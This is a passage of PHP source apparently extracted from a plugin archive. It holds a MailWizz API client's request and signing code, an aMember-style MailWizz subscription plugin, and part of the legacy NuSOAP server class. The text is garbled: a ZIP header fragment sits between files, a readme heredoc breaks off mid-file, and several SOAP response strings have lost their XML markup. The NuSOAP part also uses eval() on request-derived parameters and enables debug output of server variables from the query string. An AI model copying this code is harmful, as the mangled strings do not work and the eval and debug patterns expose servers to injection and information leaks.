($this->getEventHandlers(self::EVENT_BEFORE_SEND_REQUEST) as $callback) { call_user_func_array($callback, array($this)); } $client = $this->client; $registry = $this->registry; $isCacheable = $registry->contains('cache') && $client->isGetMethod && $client->enableCache; $requestUrl = rtrim($client->url, '/'); // no trailing slash $scheme = parse_url($requestUrl, PHP_URL_SCHEME); $getParams = (array)$client->paramsGet->toArray(); if (!empty($getParams)) { ksort($getParams, SORT_STRING); $queryString = http_build_query($getParams, '', '&'); if (!empty($queryString)) { $requestUrl .= '?'.$queryString; } } $this->sign($requestUrl); if ($isCacheable) { $client->getResponseHeaders = true; $bodyFromCache = null; $etagCache = null; $params = $getParams; foreach (array('X-MW-PUBLIC-KEY', 'X-MW-TIMESTAMP', 'X-MW-REMOTE-ADDR') as $header) { $params[$header] = $client->headers->itemAt($header); } $cacheKey = $requestUrl; $cache = $this->cache->get($cacheKey); if (isset($cache['headers']) && is_array($cache['headers'])) { foreach ($cache['headers'] as $header) { if (preg_match('/etag:(\s+)?(.*)/ix', $header, $matches)) { $etagCache = trim($matches[2]); $client->headers->add('If-None-Match', $etagCache); $bodyFromCache = $cache['body']; break; } } } } if ($client->isPutMethod || $client->isDeleteMethod) { $client->headers->add('X-HTTP-Method-Override', strtoupper($client->method)); } $ch = curl_init($requestUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $client->timeout); curl_setopt($ch, CURLOPT_TIMEOUT, $client->timeout); curl_setopt($ch, CURLOPT_USERAGENT , 'MailWizzApi Client version '. MailWizzApi_Http_Client::CLIENT_VERSION); curl_setopt($ch, CURLOPT_AUTOREFERER , true); if ($client->getResponseHeaders) { curl_setopt($ch, CURLOPT_VERBOSE, true); curl_setopt($ch, CURLOPT_HEADER, true); } if (!ini_get('safe_mode')) { curl_setopt($ch, CURLOPT_MAXREDIRS, 5); if (!ini_get('open_basedir')) { curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); } } if ($client->headers->count > 0) { $headers = array(); foreach($client->headers as $name => $value) { $headers[] = $name.': '.$value; } curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); } //if ($scheme === 'https') { // curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); //} if ($client->isPostMethod || $client->isPutMethod || $client->isDeleteMethod) { $params = new MailWizzApi_Params($client->paramsPost); $params->mergeWith($client->paramsPut); $params->mergeWith($client->paramsDelete); if (!$client->isPostMethod) { curl_setopt($ch, CURLOPT_CUSTOMREQUEST, strtoupper($client->method)); } curl_setopt($ch, CURLOPT_POST, $params->count); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params->toArray(), '', '&')); } $body = curl_exec($ch); $curlCode = curl_errno($ch); $curlMessage = curl_error($ch); $curlInfo = curl_getinfo($ch); $params = $this->params = new MailWizzApi_Params($curlInfo); if ($curlCode === 0 && $client->getResponseHeaders) { $headersSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE); $headers = explode("\n", substr($body, 0, $headersSize)); foreach ($headers as $index => $header) { $header = trim($header); if (empty($header)) { unset($headers[$index]); } } $body = substr($body, $headersSize); $params->add('headers', new MailWizzApi_Params($headers)); } $decodedBody = array(); if ($curlCode === 0 && !empty($body)) { $decodedBody = MailWizzApi_Json::decode($body, true); if (!is_array($decodedBody)) { $decodedBody = array(); } } // note here if ((int)$params->itemAt('http_code') === 304 && $isCacheable && !empty($bodyFromCache)) { $decodedBody = $bodyFromCache; } $params->add('curl_code', $curlCode); $params->add('curl_message', $curlMessage); $params->add('body', new MailWizzApi_Params($decodedBody)); $response = new MailWizzApi_Http_Response($this); $body = $response->body; if (!$response->isSuccess && $body->itemAt('status') !== 'success' && !$body->contains('error')) { $response->body->add('status', 'error'); $response->body->add('error', $response->message); } curl_close($ch); if ($isCacheable && $response->isSuccess && $body->itemAt('status') == 'success') { $etagNew = null; foreach ($response->headers as $header) { if (preg_match('/etag:(\s+)?(.*)/ix', $header, $matches)) { $etagNew = trim($matches[2]); break; } } if ($etagNew && $etagNew != $etagCache) { $this->cache->set($cacheKey, array( 'headers' => $response->headers->toArray(), 'body' => $response->body->toArray(), )); } } foreach ($this->getEventHandlers(self::EVENT_AFTER_SEND_REQUEST) as $callback) { $response = call_user_func_array($callback, array($this, $response)); } return $response; } /** * Sign the current request. */ protected function sign($requestUrl) { $client = $this->client; $config = $this->config; $publicKey = $config->publicKey; $privateKey = $config->privateKey; $timestamp = time(); $specialHeaderParams = array( 'X-MW-PUBLIC-KEY' => $publicKey, 'X-MW-TIMESTAMP' => $timestamp, 'X-MW-REMOTE-ADDR' => isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : null, ); foreach ($specialHeaderParams as $key => $value) { $client->headers->add($key, $value); } $params = new MailWizzApi_Params($specialHeaderParams); $params->mergeWith($client->paramsPost); $params->mergeWith($client->paramsPut); $params->mergeWith($client->paramsDelete); $params = $params->toArray(); ksort($params, SORT_STRING); $separator = $client->paramsGet->count > 0 && strpos($requestUrl, '?') !== false ? '&' : '?'; $signatureString = strtoupper($client->method) . ' ' . $requestUrl . $separator . http_build_query($params, '', '&'); $signature = hash_hmac('sha1', $signatureString, $privateKey, false); $client->headers->add('X-MW-SIGNATURE', $signature); } } PKq\p@llmailwizz/mailwizz.phpnu[initialized) { //die('ctor'); if ($this->init_mailwizz($config)) { $this->initialized = true; } } } private function init_mailwizz($config) { require_once dirname(__FILE__) . '/MailWizzApi/Autoloader.php'; // register the autoloader. MailWizzApi_Autoloader::register(); try { $mailconfig = new MailWizzApi_Config(array( 'apiUrl' => $config['url'], 'publicKey' => $config['public_key'], 'privateKey' => $config['private_key'], // components 'components' => array( 'cache' => array( 'class' => 'MailWizzApi_Cache_File', 'filesPath' => dirname(__FILE__) . '/MailWizzApi/Cache/data/cache' ) ), )); //die('try'); // now inject the configuration and we are ready to make api calls MailWizzApi_Base::setConfig($mailconfig); $this->getLists(); //die(print_r($config)); } catch(Exception $e) { //die('here'); return false; } return true; } function _initSetupForm(Am_Form_Setup $form) { $el = $form->addText('public_key', array('class' => 'el-wide'))->setLabel("Mailwizz Public Key"); $el->addRule( 'regex', 'API Keys must be in form of 40 hex lowercase signs', '/^[a-f0-9]{40}$/'); $el->addRule('required'); $el = $form->addText('private_key', array('class' => 'el-wide'))->setLabel("Mailwizz Private Key"); $el->addRule( 'regex', 'API Keys must be in form of 40 hex lowercase signs', '/^[a-f0-9]{40}$/'); $el->addRule('required'); $el = $form->addText('url', array('class' => 'el-wide'))->setLabel("Mailwizz URL"); $el->addRule('callback', 'The URL isn\'t valid', function($url) { if (filter_var($url, FILTER_VALIDATE_URL) === FALSE) { return false; } return true; }); $el->addRule('required'); } function isConfigured() { return $this->init_mailwizz($this->getConfig()); } public function changeSubscription(User $user, array $addLists, array $deleteLists) { $endpoint = new MailWizzApi_Endpoint_ListSubscribers(); //die(print_r($addLists)); foreach ($addLists as $list_id) { $response = $endpoint->createUpdate($list_id, array( 'EMAIL' => $user->email, 'FNAME' => $user->name_f, 'LNAME' => $user->name_l )); if ($response->curlCode) { throw new Exception($response->curlMessage); } } foreach ($deleteLists as $list_id) { $response = $endpoint->deleteByEmail($list_id, $user->email); if ($response->curlCode) { //return; throw new Exception($response->curlMessage); } } return true; } public function getLists() { //return; $endpoint = new MailWizzApi_Endpoint_Lists(); $ret = array(); $response = $response = $endpoint->getLists(1, 999999); if ($response->curlCode) { //return; throw new Exception($response->curlMessage); } $response = $response->body->toArray(); if (!empty($response['data']['records'])) { foreach ($response['data']['records'] as $el) { $ret[$el['general']['list_uid']] = array( 'title' => $el['general']['display_name'], ); } } return $ret; } public function getReadme() { return << * @author Scott Nichol * @version $Id: class.soap_server.php,v 1.63 2010/04/26 20:15:08 snichol Exp $ * @access public */ class nusoap_server extends nusoap_base { /** * HTTP headers of request * @var array * @access private */ var $headers = array(); /** * HTTP request * @var string * @access private */ var $request = ''; /** * SOAP headers from request (incomplete namespace resolution; special characters not escaped) (text) * @var string * @access public */ var $requestHeaders = ''; /** * SOAP Headers from request (parsed) * @var mixed * @access public */ var $requestHeader = NULL; /** * SOAP body request portion (incomplete namespace resolution; special characters not escaped) (text) * @var string * @access public */ var $document = ''; /** * SOAP payload for request (text) * @var string * @access public */ var $requestSOAP = ''; /** * requested method namespace URI * @var string * @access private */ var $methodURI = ''; /** * name of method requested * @var string * @access private */ var $methodname = ''; /** * method parameters from request * @var array * @access private */ var $methodparams = array(); /** * SOAP Action from request * @var string * @access private */ var $SOAPAction = ''; /** * character set encoding of incoming (request) messages * @var string * @access public */ var $xml_encoding = ''; /** * toggles whether the parser decodes element content w/ utf8_decode() * @var boolean * @access public */ var $decode_utf8 = true; /** * HTTP headers of response * @var array * @access public */ var $outgoing_headers = array(); /** * HTTP response * @var string * @access private */ var $response = ''; /** * SOAP headers for response (text or array of soapval or associative array) * @var mixed * @access public */ var $responseHeaders = ''; /** * SOAP payload for response (text) * @var string * @access private */ var $responseSOAP = ''; /** * method return value to place in response * @var mixed * @access private */ var $methodreturn = false; /** * whether $methodreturn is a string of literal XML * @var boolean * @access public */ var $methodreturnisliteralxml = false; /** * SOAP fault for response (or false) * @var mixed * @access private */ var $fault = false; /** * text indication of result (for debugging) * @var string * @access private */ var $result = 'successful'; /** * assoc array of operations => opData; operations are added by the register() * method or by parsing an external WSDL definition * @var array * @access private */ var $operations = array(); /** * wsdl instance (if one) * @var mixed * @access private */ var $wsdl = false; /** * URL for WSDL (if one) * @var mixed * @access private */ var $externalWSDLURL = false; /** * whether to append debug to response as XML comment * @var boolean * @access public */ var $debug_flag = false; /** * constructor * the optional parameter is a path to a WSDL file that you'd like to bind the server instance to. * * @param mixed $wsdl file path or URL (string), or wsdl instance (object) * @access public */ function nusoap_server($wsdl=false){ parent::nusoap_base(); // turn on debugging? global $debug; global $HTTP_SERVER_VARS; if (isset($_SERVER)) { $this->debug("_SERVER is defined:"); $this->appendDebug($this->varDump($_SERVER)); } elseif (isset($HTTP_SERVER_VARS)) { $this->debug("HTTP_SERVER_VARS is defined:"); $this->appendDebug($this->varDump($HTTP_SERVER_VARS)); } else { $this->debug("Neither _SERVER nor HTTP_SERVER_VARS is defined."); } if (isset($debug)) { $this->debug("In nusoap_server, set debug_flag=$debug based on global flag"); $this->debug_flag = $debug; } elseif (isset($_SERVER['QUERY_STRING'])) { $qs = explode('&', $_SERVER['QUERY_STRING']); foreach ($qs as $v) { if (substr($v, 0, 6) == 'debug=') { $this->debug("In nusoap_server, set debug_flag=" . substr($v, 6) . " based on query string #1"); $this->debug_flag = substr($v, 6); } } } elseif (isset($HTTP_SERVER_VARS['QUERY_STRING'])) { $qs = explode('&', $HTTP_SERVER_VARS['QUERY_STRING']); foreach ($qs as $v) { if (substr($v, 0, 6) == 'debug=') { $this->debug("In nusoap_server, set debug_flag=" . substr($v, 6) . " based on query string #2"); $this->debug_flag = substr($v, 6); } } } // wsdl if($wsdl){ $this->debug("In nusoap_server, WSDL is specified"); if (is_object($wsdl) && (get_class($wsdl) == 'wsdl')) { $this->wsdl = $wsdl; $this->externalWSDLURL = $this->wsdl->wsdl; $this->debug('Use existing wsdl instance from ' . $this->externalWSDLURL); } else { $this->debug('Create wsdl from ' . $wsdl); $this->wsdl = new wsdl($wsdl); $this->externalWSDLURL = $wsdl; } $this->appendDebug($this->wsdl->getDebug()); $this->wsdl->clearDebug(); if($err = $this->wsdl->getError()){ die('WSDL ERROR: '.$err); } } } /** * processes request and returns response * * @param string $data usually is the value of $HTTP_RAW_POST_DATA * @access public */ function service($data){ global $HTTP_SERVER_VARS; if (isset($_SERVER['REQUEST_METHOD'])) { $rm = $_SERVER['REQUEST_METHOD']; } elseif (isset($HTTP_SERVER_VARS['REQUEST_METHOD'])) { $rm = $HTTP_SERVER_VARS['REQUEST_METHOD']; } else { $rm = ''; } if (isset($_SERVER['QUERY_STRING'])) { $qs = $_SERVER['QUERY_STRING']; } elseif (isset($HTTP_SERVER_VARS['QUERY_STRING'])) { $qs = $HTTP_SERVER_VARS['QUERY_STRING']; } else { $qs = ''; } $this->debug("In service, request method=$rm query string=$qs strlen(\$data)=" . strlen($data)); if ($rm == 'POST') { $this->debug("In service, invoke the request"); $this->parse_request($data); if (! $this->fault) { $this->invoke_method(); } if (! $this->fault) { $this->serialize_return(); } $this->send_response(); } elseif (preg_match('/wsdl/', $qs) ){ $this->debug("In service, this is a request for WSDL"); if ($this->externalWSDLURL){ if (strpos($this->externalWSDLURL, "http://") !== false) { // assume URL $this->debug("In service, re-direct for WSDL"); header('Location: '.$this->externalWSDLURL); } else { // assume file $this->debug("In service, use file passthru for WSDL"); header("Content-Type: text/xml\r\n"); $pos = strpos($this->externalWSDLURL, "file://"); if ($pos === false) { $filename = $this->externalWSDLURL; } else { $filename = substr($this->externalWSDLURL, $pos + 7); } $fp = fopen($this->externalWSDLURL, 'r'); fpassthru($fp); } } elseif ($this->wsdl) { $this->debug("In service, serialize WSDL"); header("Content-Type: text/xml; charset=ISO-8859-1\r\n"); print $this->wsdl->serialize($this->debug_flag); if ($this->debug_flag) { $this->debug('wsdl:'); $this->appendDebug($this->varDump($this->wsdl)); print $this->getDebugAsXMLComment(); } } else { $this->debug("In service, there is no WSDL"); header("Content-Type: text/html; charset=ISO-8859-1\r\n"); print "This service does not provide WSDL"; } } elseif ($this->wsdl) { $this->debug("In service, return Web description"); print $this->wsdl->webDescription(); } else { $this->debug("In service, no Web description"); header("Content-Type: text/html; charset=ISO-8859-1\r\n"); print "This service does not provide a Web description"; } } /** * parses HTTP request headers. * * The following fields are set by this function (when successful) * * headers * request * xml_encoding * SOAPAction * * @access private */ function parse_http_headers() { global $HTTP_SERVER_VARS; $this->request = ''; $this->SOAPAction = ''; if(function_exists('getallheaders')){ $this->debug("In parse_http_headers, use getallheaders"); $headers = getallheaders(); foreach($headers as $k=>$v){ $k = strtolower($k); $this->headers[$k] = $v; $this->request .= "$k: $v\r\n"; $this->debug("$k: $v"); } // get SOAPAction header if(isset($this->headers['soapaction'])){ $this->SOAPAction = str_replace('"','',$this->headers['soapaction']); } // get the character encoding of the incoming request if(isset($this->headers['content-type']) && strpos($this->headers['content-type'],'=')){ $enc = str_replace('"','',substr(strstr($this->headers["content-type"],'='),1)); if(preg_match('/^(ISO-8859-1|US-ASCII|UTF-8)$/i',$enc)){ $this->xml_encoding = strtoupper($enc); } else { $this->xml_encoding = 'US-ASCII'; } } else { // should be US-ASCII for HTTP 1.0 or ISO-8859-1 for HTTP 1.1 $this->xml_encoding = 'ISO-8859-1'; } } elseif(isset($_SERVER) && is_array($_SERVER)){ $this->debug("In parse_http_headers, use _SERVER"); foreach ($_SERVER as $k => $v) { if (substr($k, 0, 5) == 'HTTP_') { $k = str_replace(' ', '-', strtolower(str_replace('_', ' ', substr($k, 5)))); } else { $k = str_replace(' ', '-', strtolower(str_replace('_', ' ', $k))); } if ($k == 'soapaction') { // get SOAPAction header $k = 'SOAPAction'; $v = str_replace('"', '', $v); $v = str_replace('\\', '', $v); $this->SOAPAction = $v; } else if ($k == 'content-type') { // get the character encoding of the incoming request if (strpos($v, '=')) { $enc = substr(strstr($v, '='), 1); $enc = str_replace('"', '', $enc); $enc = str_replace('\\', '', $enc); if (preg_match('/^(ISO-8859-1|US-ASCII|UTF-8)$/i',$enc)) { $this->xml_encoding = strtoupper($enc); } else { $this->xml_encoding = 'US-ASCII'; } } else { // should be US-ASCII for HTTP 1.0 or ISO-8859-1 for HTTP 1.1 $this->xml_encoding = 'ISO-8859-1'; } } $this->headers[$k] = $v; $this->request .= "$k: $v\r\n"; $this->debug("$k: $v"); } } elseif (is_array($HTTP_SERVER_VARS)) { $this->debug("In parse_http_headers, use HTTP_SERVER_VARS"); foreach ($HTTP_SERVER_VARS as $k => $v) { if (substr($k, 0, 5) == 'HTTP_') { $k = str_replace(' ', '-', strtolower(str_replace('_', ' ', substr($k, 5)))); $k = strtolower(substr($k, 5)); } else { $k = str_replace(' ', '-', strtolower(str_replace('_', ' ', $k))); $k = strtolower($k); } if ($k == 'soapaction') { // get SOAPAction header $k = 'SOAPAction'; $v = str_replace('"', '', $v); $v = str_replace('\\', '', $v); $this->SOAPAction = $v; } else if ($k == 'content-type') { // get the character encoding of the incoming request if (strpos($v, '=')) { $enc = substr(strstr($v, '='), 1); $enc = str_replace('"', '', $enc); $enc = str_replace('\\', '', $enc); if (preg_match('/^(ISO-8859-1|US-ASCII|UTF-8)$/i',$enc)) { $this->xml_encoding = strtoupper($enc); } else { $this->xml_encoding = 'US-ASCII'; } } else { // should be US-ASCII for HTTP 1.0 or ISO-8859-1 for HTTP 1.1 $this->xml_encoding = 'ISO-8859-1'; } } $this->headers[$k] = $v; $this->request .= "$k: $v\r\n"; $this->debug("$k: $v"); } } else { $this->debug("In parse_http_headers, HTTP headers not accessible"); $this->setError("HTTP headers not accessible"); } } /** * parses a request * * The following fields are set by this function (when successful) * * headers * request * xml_encoding * SOAPAction * request * requestSOAP * methodURI * methodname * methodparams * requestHeaders * document * * This sets the fault field on error * * @param string $data XML string * @access private */ function parse_request($data='') { $this->debug('entering parse_request()'); $this->parse_http_headers(); $this->debug('got character encoding: '.$this->xml_encoding); // uncompress if necessary if (isset($this->headers['content-encoding']) && $this->headers['content-encoding'] != '') { $this->debug('got content encoding: ' . $this->headers['content-encoding']); if ($this->headers['content-encoding'] == 'deflate' || $this->headers['content-encoding'] == 'gzip') { // if decoding works, use it. else assume data wasn't gzencoded if (function_exists('gzuncompress')) { if ($this->headers['content-encoding'] == 'deflate' && $degzdata = @gzuncompress($data)) { $data = $degzdata; } elseif ($this->headers['content-encoding'] == 'gzip' && $degzdata = gzinflate(substr($data, 10))) { $data = $degzdata; } else { $this->fault('SOAP-ENV:Client', 'Errors occurred when trying to decode the data'); return; } } else { $this->fault('SOAP-ENV:Client', 'This Server does not support compressed data'); return; } } } $this->request .= "\r\n".$data; $data = $this->parseRequest($this->headers, $data); $this->requestSOAP = $data; $this->debug('leaving parse_request'); } /** * invokes a PHP function for the requested SOAP method * * The following fields are set by this function (when successful) * * methodreturn * * Note that the PHP function that is called may also set the following * fields to affect the response sent to the client * * responseHeaders * outgoing_headers * * This sets the fault field on error * * @access private */ function invoke_method() { $this->debug('in invoke_method, methodname=' . $this->methodname . ' methodURI=' . $this->methodURI . ' SOAPAction=' . $this->SOAPAction); // // if you are debugging in this area of the code, your service uses a class to implement methods, // you use SOAP RPC, and the client is .NET, please be aware of the following... // when the .NET wsdl.exe utility generates a proxy, it will remove the '.' or '..' from the // method name. that is fine for naming the .NET methods. it is not fine for properly constructing // the XML request and reading the XML response. you need to add the RequestElementName and // ResponseElementName to the System.Web.Services.Protocols.SoapRpcMethodAttribute that wsdl.exe // generates for the method. these parameters are used to specify the correct XML element names // for .NET to use, i.e. the names with the '.' in them. // $orig_methodname = $this->methodname; if ($this->wsdl) { if ($this->opData = $this->wsdl->getOperationData($this->methodname)) { $this->debug('in invoke_method, found WSDL operation=' . $this->methodname); $this->appendDebug('opData=' . $this->varDump($this->opData)); } elseif ($this->opData = $this->wsdl->getOperationDataForSoapAction($this->SOAPAction)) { // Note: hopefully this case will only be used for doc/lit, since rpc services should have wrapper element $this->debug('in invoke_method, found WSDL soapAction=' . $this->SOAPAction . ' for operation=' . $this->opData['name']); $this->appendDebug('opData=' . $this->varDump($this->opData)); $this->methodname = $this->opData['name']; } else { $this->debug('in invoke_method, no WSDL for operation=' . $this->methodname); $this->fault('SOAP-ENV:Client', "Operation '" . $this->methodname . "' is not defined in the WSDL for this service"); return; } } else { $this->debug('in invoke_method, no WSDL to validate method'); } // if a . is present in $this->methodname, we see if there is a class in scope, // which could be referred to. We will also distinguish between two deliminators, // to allow methods to be called a the class or an instance if (strpos($this->methodname, '..') > 0) { $delim = '..'; } else if (strpos($this->methodname, '.') > 0) { $delim = '.'; } else { $delim = ''; } $this->debug("in invoke_method, delim=$delim"); $class = ''; $method = ''; if (strlen($delim) > 0 && substr_count($this->methodname, $delim) == 1) { $try_class = substr($this->methodname, 0, strpos($this->methodname, $delim)); if (class_exists($try_class)) { // get the class and method name $class = $try_class; $method = substr($this->methodname, strpos($this->methodname, $delim) + strlen($delim)); $this->debug("in invoke_method, class=$class method=$method delim=$delim"); } else { $this->debug("in invoke_method, class=$try_class not found"); } } else { $try_class = ''; $this->debug("in invoke_method, no class to try"); } // does method exist? if ($class == '') { if (!function_exists($this->methodname)) { $this->debug("in invoke_method, function '$this->methodname' not found!"); $this->result = 'fault: method not found'; $this->fault('SOAP-ENV:Client',"method '$this->methodname'('$orig_methodname') not defined in service('$try_class' '$delim')"); return; } } else { $method_to_compare = (substr(phpversion(), 0, 2) == '4.') ? strtolower($method) : $method; if (!in_array($method_to_compare, get_class_methods($class))) { $this->debug("in invoke_method, method '$this->methodname' not found in class '$class'!"); $this->result = 'fault: method not found'; $this->fault('SOAP-ENV:Client',"method '$this->methodname'/'$method_to_compare'('$orig_methodname') not defined in service/'$class'('$try_class' '$delim')"); return; } } // evaluate message, getting back parameters // verify that request parameters match the method's signature if(! $this->verify_method($this->methodname,$this->methodparams)){ // debug $this->debug('ERROR: request not verified against method signature'); $this->result = 'fault: request failed validation against method signature'; // return fault $this->fault('SOAP-ENV:Client',"Operation '$this->methodname' not defined in service."); return; } // if there are parameters to pass $this->debug('in invoke_method, params:'); $this->appendDebug($this->varDump($this->methodparams)); $this->debug("in invoke_method, calling '$this->methodname'"); if (!function_exists('call_user_func_array')) { if ($class == '') { $this->debug('in invoke_method, calling function using eval()'); $funcCall = "\$this->methodreturn = $this->methodname("; } else { if ($delim == '..') { $this->debug('in invoke_method, calling class method using eval()'); $funcCall = "\$this->methodreturn = ".$class."::".$method."("; } else { $this->debug('in invoke_method, calling instance method using eval()'); // generate unique instance name $instname = "\$inst_".time(); $funcCall = $instname." = new ".$class."(); "; $funcCall .= "\$this->methodreturn = ".$instname."->".$method."("; } } if ($this->methodparams) { foreach ($this->methodparams as $param) { if (is_array($param) || is_object($param)) { $this->fault('SOAP-ENV:Client', 'NuSOAP does not handle complexType parameters correctly when using eval; call_user_func_array must be available'); return; } $funcCall .= "\"$param\","; } $funcCall = substr($funcCall, 0, -1); } $funcCall .= ');'; $this->debug('in invoke_method, function call: '.$funcCall); @eval($funcCall); } else { if ($class == '') { $this->debug('in invoke_method, calling function using call_user_func_array()'); $call_arg = "$this->methodname"; // straight assignment changes $this->methodname to lower case after call_user_func_array() } elseif ($delim == '..') { $this->debug('in invoke_method, calling class method using call_user_func_array()'); $call_arg = array ($class, $method); } else { $this->debug('in invoke_method, calling instance method using call_user_func_array()'); $instance = new $class (); $call_arg = array(&$instance, $method); } if (is_array($this->methodparams)) { $this->methodreturn = call_user_func_array($call_arg, array_values($this->methodparams)); } else { $this->methodreturn = call_user_func_array($call_arg, array()); } } $this->debug('in invoke_method, methodreturn:'); $this->appendDebug($this->varDump($this->methodreturn)); $this->debug("in invoke_method, called method $this->methodname, received data of type ".gettype($this->methodreturn)); } /** * serializes the return value from a PHP function into a full SOAP Envelope * * The following fields are set by this function (when successful) * * responseSOAP * * This sets the fault field on error * * @access private */ function serialize_return() { $this->debug('Entering serialize_return methodname: ' . $this->methodname . ' methodURI: ' . $this->methodURI); // if fault if (isset($this->methodreturn) && is_object($this->methodreturn) && ((get_class($this->methodreturn) == 'soap_fault') || (get_class($this->methodreturn) == 'nusoap_fault'))) { $this->debug('got a fault object from method'); $this->fault = $this->methodreturn; return; } elseif ($this->methodreturnisliteralxml) { $return_val = $this->methodreturn; // returned value(s) } else { $this->debug('got a(n) '.gettype($this->methodreturn).' from method'); $this->debug('serializing return value'); if($this->wsdl){ if (sizeof($this->opData['output']['parts']) > 1) { $this->debug('more than one output part, so use the method return unchanged'); $opParams = $this->methodreturn; } elseif (sizeof($this->opData['output']['parts']) == 1) { $this->debug('exactly one output part, so wrap the method return in a simple array'); // TODO: verify that it is not already wrapped! //foreach ($this->opData['output']['parts'] as $name => $type) { // $this->debug('wrap in element named ' . $name); //} $opParams = array($this->methodreturn); } $return_val = $this->wsdl->serializeRPCParameters($this->methodname,'output',$opParams); $this->appendDebug($this->wsdl->getDebug()); $this->wsdl->clearDebug(); if($errstr = $this->wsdl->getError()){ $this->debug('got wsdl error: '.$errstr); $this->fault('SOAP-ENV:Server', 'unable to serialize result'); return; } } else { if (isset($this->methodreturn)) { $return_val = $this->serialize_val($this->methodreturn, 'return'); } else { $return_val = ''; $this->debug('in absence of WSDL, assume void return for backward compatibility'); } } } $this->debug('return value:'); $this->appendDebug($this->varDump($return_val)); $this->debug('serializing response'); if ($this->wsdl) { $this->debug('have WSDL for serialization: style is ' . $this->opData['style']); if ($this->opData['style'] == 'rpc') { $this->debug('style is rpc for serialization: use is ' . $this->opData['output']['use']); if ($this->opData['output']['use'] == 'literal') { // http://www.ws-i.org/Profiles/BasicProfile-1.1-2004-08-24.html R2735 says rpc/literal accessor elements should not be in a namespace if ($this->methodURI) { $payload = 'methodname.'Response xmlns:ns1="'.$this->methodURI.'">'.$return_val.'methodname."Response>"; } else { $payload = '<'.$this->methodname.'Response>'.$return_val.'methodname.'Response>'; } } else { if ($this->methodURI) { $payload = 'methodname.'Response xmlns:ns1="'.$this->methodURI.'">'.$return_val.'methodname."Response>"; } else { $payload = '<'.$this->methodname.'Response>'.$return_val.'methodname.'Response>'; } } } else { $this->debug('style is not rpc for serialization: assume document'); $payload = $return_val; } } else { $this->debug('do not have WSDL for serialization: assume rpc/encoded'); $payload = 'methodname.'Response xmlns:ns1="'.$this->methodURI.'">'.$return_val.'methodname."Response>"; } $this->result = 'successful'; if($this->wsdl){ //if($this->debug_flag){ $this->appendDebug($this->wsdl->getDebug()); // } if (isset($this->opData['output']['encodingStyle'])) { $encodingStyle = $this->opData['output']['encodingStyle']; } else { $encodingStyle = ''; } // Added: In case we use a WSDL, return a serialized env. WITH the usedNamespaces. $this->responseSOAP = $this->serializeEnvelope($payload,$this->responseHeaders,$this->wsdl->usedNamespaces,$this->opData['style'],$this->opData['output']['use'],$encodingStyle); } else { $this->responseSOAP = $this->serializeEnvelope($payload,$this->responseHeaders); } $this->debug("Leaving serialize_return"); } /** * sends an HTTP response * * The following fields are set by this function (when successful) * * outgoing_headers * response * * @access private */ function send_response() { $this->debug('Enter send_response'); if ($this->fault) { $payload = $this->fault->serialize(); $this->outgoing_headers[] = "HTTP/1.0 500 Internal Server Error"; $this->outgoing_headers[] = "Status: 500 Internal Server Error"; } else { $payload = $this->responseSOAP; // Some combinations of PHP+Web server allow the Status // to come through as a header. Since OK is the default // just do nothing. // $this->outgoing_headers[] = "HTTP/1.0 200 OK"; // $this->outgoing_headers[] = "Status: 200 OK"; } // add debug data if in debug mode if(isset($this->debug_flag) && $this->debug_flag){ $payload .= $this->getDebugAsXMLComment(); } $this->outgoing_headers[] = "Server: $this->title Server v$this->version"; preg_match('/\$Revisio' . 'n: ([^ ]+)/', $this->revision, $rev); $this->outgoing_headers[] = "X-SOAP-Server: $this->title/$this->version (".$rev[1].")"; // Let the Web server decide about this //$this->outgoing_headers[] = "Connection: Close\r\n"; $payload = $this->getHTTPBody($payload); $type = $this->getHTTPContentType(); $charset = $this->getHTTPContentTypeCharset(); $this->outgoing_headers[] = "Content-Type: $type" . ($charset ? '; charset=' . $charset : ''); //begin code to compress payload - by John // NOTE: there is no way to know whether the Web server will also compress // this data. if (strlen($payload) > 1024 && isset($this->headers) && isset($this->headers['accept-encoding'])) { if (strstr($this->headers['accept-encoding'], 'gzip')) { if (function_exists('gzencode')) { if (isset($this->debug_flag) && $this->debug_flag) { $payload .= ""; } $this->outgoing_headers[] = "Content-Encoding: gzip"; $payload = gzencode($payload); } else { if (isset($this->debug_flag) && $this->debug_flag) { $payload .= ""; } } } elseif (strstr($this->headers['accept-encoding'], 'deflate')) { // Note: MSIE requires gzdeflate output (no Zlib header and checksum), // instead of gzcompress output, // which conflicts with HTTP 1.1 spec (http://www.w3.org/Protocols/rfc2616/rfc2616-sec3.html#sec3.5) if (function_exists('gzdeflate')) { if (isset($this->debug_flag) && $this->debug_flag) { $payload .= ""; } $this->outgoing_headers[] = "Content-Encoding: deflate"; $payload = gzdeflate($payload); } else { if (isset($this->debug_flag) && $this->debug_flag) { $payload .= ""; } } } } //end code $this->outgoing_headers[] = "Content-Length: ".strlen($payload); reset($this->outgoing_headers); foreach($this->outgoing_headers as $hdr){ header($hdr, false); } print $payload; $this->response = join("\r\n",$this->outgoing_headers)."\r\n\r\n".$payload; } /** * takes the value that was created by parsing the request * and compares to the method's signature, if available. * * @param string $operation The operation to be invoked * @param array $request The array of parameter values * @return boolean Whether the operation was found * @access private */ function verify_method($operation,$request){ if(isset($this->wsdl) && is_object($this->wsdl)){ if($this->wsdl->getOperationData($operation)){ return true; } } elseif(isset($this->operations[$operation])){ return true; } return false; } /** * processes SOAP message received from client * * @param array $headers The HTTP headers * @param string $data unprocessed request data from client * @return mixed value of the message, decoded into a PHP type * @access private */ function parseRequest($headers, $data) { $this->debug('Entering parseRequest() for data of length ' . strlen($data) . ' headers:'); $this->appendDebug($this->varDump($headers)); if (!isset($headers['content-type'])) { $this->setError('Request not of type text/xml (no content-type header)'); return false; } if (!strstr($headers['content-type'], 'text/xml')) { $this->setError('Request not of type text/xml'); return false; } if (strpos($headers['content-type'], '=')) { $enc = str_replace('"', '', substr(strstr($headers["content-type"], '='), 1)); $this->debug('Got response encoding: ' . $enc); if(preg_match('/^(ISO-8859-1|US-ASCII|UTF-8)$/i',$enc)){ $this->xml_encoding = strtoupper($enc); } else { $this->xml_encoding = 'US-ASCII'; } } else { // should be US-ASCII for HTTP 1.0 or ISO-8859-1 for HTTP 